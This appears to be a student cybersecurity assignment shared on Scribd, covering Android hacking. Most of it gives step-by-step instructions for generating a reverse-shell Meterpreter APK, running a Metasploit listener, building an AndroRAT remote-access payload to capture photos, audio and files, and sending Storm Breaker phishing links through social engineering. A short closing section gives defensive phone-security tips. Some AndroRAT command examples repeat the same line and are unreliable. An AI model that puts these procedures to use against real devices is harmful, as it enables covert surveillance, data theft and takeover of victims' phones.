0% found this document useful (0 votes)
62 views15 pages

Assignment 4 Nielit

Cyber security

Uploaded by

srsjnb
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
62 views15 pages

Assignment 4 Nielit

Cyber security

Uploaded by

srsjnb
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 15

ASSIGNMENT -4

Submitted By
Shubham Raj Satyam

Q. (1)How to gain access to Android with android meterpreter?


Ans: Gaining access to an Android device using an Android Meterpreter
payload involves creating a malicious APK file that, when installed on
the target device, will connect back to the attacker's machine. This
allows the attacker to control the device through the Meterpreter session.
Using Android Meterpreter
Step 1: Set Up Your Environment
A Kali Linux machine with Metasploit installed.
An Android device (real or emulator) to serve as the target.
Step 2: Generate the Malicious APK with msfvenom
Use msfvenom to create an Android payload. Replace [Your_Kali_IP] with your Kali machine's
IP address.

msfvenom -p android/meterpreter/reverse_tcp LHOST=[Your_Kali_IP] LPORT=4444 R >


/path/to/your/payload.apk

-p android/meterpreter/reverse_tcp: Specifies the payload type.

LHOST=[Your_Kali_IP]: The IP address of your Kali machine.

LPORT=4444: The port to listen on for the reverse connection.

R > /path/to/your/payload.apk: The output file where the APK will be saved.

Step 3: Set Up a Listener in Metasploit


Open Metasploit and set up a listener to handle the incoming connection
from the Android device.
msfconsole
Once Metasploit is open, configure the multi-handler:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST [Your_Kali_IP]
set LPORT 4444
exploit
Step 4: Deliver the Malicious APK to the Target
You need to get the malicious APK (payload.apk) onto the target
Android device. This can be done through various methods, such as
email, social engineering, or hosting it on a website and tricking the user
into downloading and installing it.

Note: The target device must have the "Install from Unknown Sources"
option enabled.

Step 5: Execute the Payload on the Target Device


Once the target installs and opens the APK, it will attempt to connect
back to your Kali machine.

Step 6: Gain Control of the Android Device


If everything is set up correctly, you should see a Meterpreter session
open in Metasploit:
meterpreter >

Q. (2) Explain any Five Android Hacking Tools in kali Linux?


1. msfvenom (Metasploit Framework)
The Metasploit Framework is a powerful and widely-used tool for
penetration testing, which includes a component called msfvenom for
payload generation. It can be used to create malicious APK files that,
when installed on an Android device, provide control over the device.
Features:
 Generate payloads for various platforms, including Android.
 Combine payload generation and encoding in one step.
 Integrates with Metasploit for handling payloads and exploiting
vulnerabilities.
Usage:
msfvenom -p android/meterpreter/reverse_tcp LHOST=[Your_Kali_IP] LPORT=4444 R >
/path/to/payload.apk

2. Drozer
Drozer is a comprehensive security auditing tool for Android
applications. It allows security testers to interact with Android apps and
the operating system, identifying and exploiting security vulnerabilities.
Features:
 Test app permissions and components.
 Exploit known vulnerabilities in apps.
 Inspect and interact with Android IPC endpoints.
 Execute dynamic security assessments.
Usage:
drozer console connect
You can then use various Drozer commands to inspect and test Android
applications.
3. apktool
Apktool is a tool for reverse engineering Android APK files. It allows
you to decompile and recompile APKs, making it useful for analyzing
and modifying Android applications.
Features:
 Decompile APK files to access source code and resources.
 Recompile modified APK files.
 Automate repetitive tasks with scripting.
Usage:

Decompile an APK:
apktool d /path/to/app.apk
Recompile the APK:
apktool b /path/to/decompiled/folder

4. adb (Android Debug Bridge)


Android Debug Bridge (adb) is a versatile command-line tool that
allows you to communicate with an Android device. It provides various
capabilities, such as installing apps, accessing the shell, and copying
files.
Features:
 Debug and test apps on Android devices.
 Execute commands on a connected Android device.
 Copy files to and from the device.
 Access and manipulate the device's file system.
Usage:
Connect to a device:
adb connect [device_ip]
Install an APK:
adb install /path/to/app.apk

5. MobSF (Mobile Security Framework)


MobSF is an automated mobile application security testing tool for
Android and iOS applications. It performs static and dynamic analysis,
providing detailed reports on the app's security posture.
Features:
 Static analysis of APK files.
 Dynamic analysis with emulators.
 Detection of security vulnerabilities and misconfigurations.
 Detailed reporting and recommendations.
Usage:
Start MobSF:
cd /path/to/MobSF./run.sh
Upload an APK file through the web interface:
Open a web browser and navigate to http://localhost:8000, then upload
the APK file for analysis.
Q. (3) Create a Payload using AndroRAT Tool & perform an attack
on any android device using that Playload?
ANS: AndroRAT (Android Remote Administration Tool) is an open-
source tool that allows remote control of Android devices. It can be used
to create a payload that, when installed on an Android device, allows an
attacker to remotely control the device.

To Creating a Payload Using AndroRAT and Performing an Attack


Step 1: Set Up Your Environment
Ensure you have:
 A Windows or Linux machine for creating the payload.
 An Android device (real or emulator) to serve as the target.
 Java Development Kit (JDK) installed.
 AndroRAT source code (can be found on GitHub or similar
repositories).
Step 2: Download and Set Up AndroRAT
Clone the AndroRAT repository:
git clone https://github.com/The404Hacking/AndroRAT.git
cd AndroRAT
Build the project:
You may need to use an IDE like Eclipse or Android Studio to build the
AndroRAT project. Import the project into the IDE and build it to
generate the APK file.
Step 3: Generate the Payload APK
Open AndroRAT:
Navigate to the directory where AndroRAT is located and find the
builder tool.

Create the Payload:


Use the builder tool to generate a malicious APK. You need to provide
the IP address and port of your machine (which will act as the command
and control server).

Example command:
java -jar AndroRAT-Binder.jar -ip [Your_IP_Address] -port 8888
Replace [Your_IP_Address] with the IP address of your machine.

Save the APK:


Save the generated APK file to a location you can easily access.

Step 4: Set Up the Command and Control Server


Start the AndroRAT server:
Navigate to the AndroRAT server directory and start the server. This is
usually done by running a Java application.
Example command:
java -jar AndroRAT-Server.jar
Configure the server:
Ensure the server is configured to listen on the same IP address and port
specified when creating the payload.

Step 5: Deliver the Payload to the Target


You need to deliver the payload APK to the target Android device. This
can be done through various means, such as email, USB drive, or social
engineering tactics. Make sure the target device has "Install from
Unknown Sources" enabled.

Note: This step involves social engineering or physical access to the


device and should only be performed with explicit permission.

Step 6: Execute the Payload on the Target Device


Once the target installs and opens the APK, it will initiate a connection
back to the AndroRAT server.

Step 7: Gain Control of the Android Device


If everything is set up correctly, you should see the Android device
connect to your AndroRAT server.
Example AndroRAT Commands
Get Phone Info:
java -jar AndroRAT-Server.jar
View connected devices and their information.
Access File System:
java -jar AndroRAT-Server.jar
Browse and manipulate files on the Android device.
Capture Photos:
java -jar AndroRAT-Server.jar
Use the device’s camera to take photos.
Record Audio:
java -jar AndroRAT-Server.jar
Record audio using the device’s microphone.

Q. (4) Perform a link Attack in any android device using Strom


Breaker?
Storm Breaker is a tool that can be used to perform phishing attacks on
various platforms, including Android devices. It generates a phishing
link that, when accessed by the target, can collect sensitive information
or deliver a payload.
To Perform a Link Attack Using Storm Breaker
Step 1: Set Up Your Environment
Ensure you have the following:
 A Kali Linux machine.
 An Android device (real or emulator) to serve as the target.
 Git and Python installed on your Kali Linux machine.
Step 2: Install Storm Breaker
Clone the Storm Breaker repository:
git clone https://github.com/ultrasecurity/Storm-Breaker.git
cd Storm-Breaker
Install dependencies:
pip install -r requirements.txt
Step 3: Configure Storm Breaker
Run Storm Breaker:
python3 Storm-Breaker.py
Select the type of attack:
Storm Breaker offers various types of phishing attacks. For an Android-
specific attack, you might choose an option like "Android APK" or
"Custom Link."
Step 4: Generate the Phishing Link
Generate a phishing link:
Follow the prompts in Storm Breaker to generate a phishing link. This
link will be used to trick the target into visiting the page.
Customize the phishing page:
You may need to customize the phishing page to make it look more
convincing. Storm Breaker provides templates that you can use or
modify.
Step 5: Deliver the Phishing Link to the Target
Send the link:
You need to deliver the phishing link to the target Android device. This
can be done through various means, such as email, SMS, or social
media. Ensure that the delivery method is ethical and legal.
Step 6: Monitor the Attack
Monitor the results:
Once the target visits the phishing link, Storm Breaker will collect the
data or deliver the payload as configured. Monitor the tool’s output to
see the results of the attack.

Q. (5) Explain 10 ways to Protect your Android Smartphone from


hackers?
1. Keep Your Software Up-to-Date
Regularly updating your Android operating system and apps ensures that
you have the latest security patches and bug fixes.

Go to Settings > System > Software Update.


Check for updates regularly and install them as soon as they become
available.
2. Use Strong Passwords and Biometrics
Set a strong password, PIN, or pattern, and use biometric authentication
like fingerprint or facial recognition for added security.

Go to Settings > Security > Screen Lock.


Choose a strong, unique password or set up biometric authentication.
3. Enable Two-Factor Authentication (2FA)
Enable 2FA for your accounts to add an extra layer of security. This
requires a second form of verification, usually a code sent to your phone,
in addition to your password.

Go to the account settings of your services (e.g., Google, Facebook) and


enable 2FA.
4. Install Security Software
Use reputable antivirus and anti-malware apps to protect your device
from malicious software.
 Avast Mobile Security
 McAfee Mobile Security
 Bitdefender Mobile Security

5. Be Cautious with App Permissions


Only grant necessary permissions to apps and review permissions
regularly to ensure apps are not accessing more than they need.

Go to Settings > Apps > Permissions.


Review and adjust permissions for each app.
6. Avoid Public Wi-Fi for Sensitive Transactions
Public Wi-Fi networks can be insecure. Avoid accessing sensitive
information or performing financial transactions on public Wi-Fi. Use a
VPN if necessary.
 NordVPN
 ExpressVPN
 CyberGhost
7. Download Apps from Trusted Sources
Only download apps from the Google Play Store or other trusted
sources. Avoid sideloading apps from unknown sources.

Go to Settings > Security > Install unknown apps.


Ensure this setting is disabled or only enabled for trusted apps.
8. Regularly Backup Your Data
Regular backups ensure you can restore your data if your device is
compromised.

Use Google’s built-in backup service.


Go to Settings > System > Backup and enable it.
Consider additional backups using third-party services like Dropbox or
OneDrive.
9. Enable Remote Wipe and Find My Device
Enable Google’s Find My Device service to locate, lock, or erase your
phone remotely if it’s lost or stolen.

Go to Settings > Security > Find My Device.


Ensure it’s turned on and set up properly.
10. Be Wary of Phishing Attempts
Be cautious of emails, texts, or messages from unknown sources that ask
for personal information or prompt you to click on links.
Do not click on links or download attachments from unknown senders.
Verify the source of any message that asks for sensitive information by
contacting the organization directly.

You might also like